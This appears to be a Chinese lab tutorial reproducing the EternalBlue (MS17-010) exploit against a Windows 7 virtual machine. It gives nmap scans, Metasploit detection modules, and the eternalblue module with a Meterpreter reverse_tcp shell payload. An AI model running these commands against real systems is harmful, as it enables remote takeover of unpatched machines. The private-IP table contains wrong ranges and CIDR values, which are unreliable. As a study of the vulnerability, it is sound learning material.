--- title: "Ms17 010(永恒之蓝)漏洞复现" date: 2024-06-30T00:55:27+08:00 tags: [] --- ## 一、前言 ### 1. 漏洞描述 Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。 ### 2. 漏洞影响 目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。 ## 二、复现环境 * 虚拟环境搭建:`VMware Workstation 17 pro` * 网络模式:`NAT` * 攻击机:`kali Linux WSL` * 攻击机IP:`192.168.97.173` * 攻击工具:`nmap` `metasploit(MSF)` * 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`(**前提win7关闭防火墙**) * 靶机IP:`192.168.97.128` ## 三、启动 MSF 1. 安装MSF ```bash curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall ``` 2. 进入框架 ```bash msfconsole ``` 3. 初始化 ```bash init ``` ## 四、寻找主机 ### 1. ipconfig 使用`ipconfig`分别查看win7和kali中的ip地址 ### 2. nmap ```bash nmap -T5 -sP 192.168.97.0/24 ``` * **​`-T5`​**:使用速度模板**​`T5`​**,表示激进的扫描速度。 * **​`-sP`​**:执行 Ping 连接扫描。 * **​`192.168.97.0/24`​**:扫描指定的 IP 地址范围。 | **IP地址** | 私有ip范围 | 子网掩码 | CIDR | |------------|------------|-----------|------| | A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 | | B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 | | C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 | ## 五、端口扫描 ### 1. nmap ```bash nmap -T5 -sT 192.168.97.128 ``` * **​`-T5`​**:使用速度模板**​`T5`​**,表示激进的扫描速度。 * **​`-sT`​**:执行 TCP 连接扫描。 * **​`192.168.97.128`​**:扫描指定的 IP ### 2. MSF 端口扫描 1. 使用模块 ```bash use auxiliary/scanner/portscan/tcp ``` 2. 设置扫描ip ```bash set rhosts 192.168.97.128 ``` 3. 运行 ```bash run ``` ## 六、查找永恒之蓝漏洞 微软 永恒之蓝 编号`ms17-010` ```bash search ms17_010 ``` 1. `exploit/windows/smb/ms17_010_eternalblue` * 这个模块利用了MS17-010漏洞,通过EternalBlue攻击载荷,远程执行代码。 * EternalBlue利用Windows的Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。 * 攻击成功后,通常会在目标机器上生成一个Meterpreter会话,从而允许进一步的渗透测试操作。 2. `exploit/windows/smb/ms17_010_psexec` * 这个模块结合MS17-010漏洞和Psexec技术,通过SMB协议在目标系统上执行命令。 * 利用MS17-010漏洞进行初始攻击,然后使用Psexec进行进一步的远程命令执行。 * 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。 3. `auxiliary/admin/smb/ms17_010_command` * 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。 * 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。 * 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。 4. `auxiliary/scanner/smb/smb_ms17_010` * 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。 * 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受MS17-010漏洞的影响。 ## 七、漏洞检测 ### 1. 使用探测模块 1. 使用`Auxiliary`辅助探测模块 ```bash use auxiliary/scanner/smb/smb_ms17_010 ``` 或 ```bash use 24 ``` 2. 查看需要配置的参数 ```bash show options ``` 3. 设置目标主机地址 ```bash set rhosts 192.168.97.128 ``` 4. 运行 ```bash run ``` ### 2. nmap ```bash nmap --script smb-vuln-ms17-010 192.168.97.128 ``` ## 八、漏洞攻击 1. 加载 ms17-010 攻击模块 ```bash use exploit/windows/smb/ms17_010_eternalblue ``` 2. 设置目标主机地址 ```bash set rhosts 192.168.97.128 ``` 3. 设置连接方式为反向连接 ```bash set payload windows/x64/meterpreter/reverse_tcp ``` 4. 运行 ```bash run ``` ## 九、Meterpreter命令用法 [命令列表和详细说明...]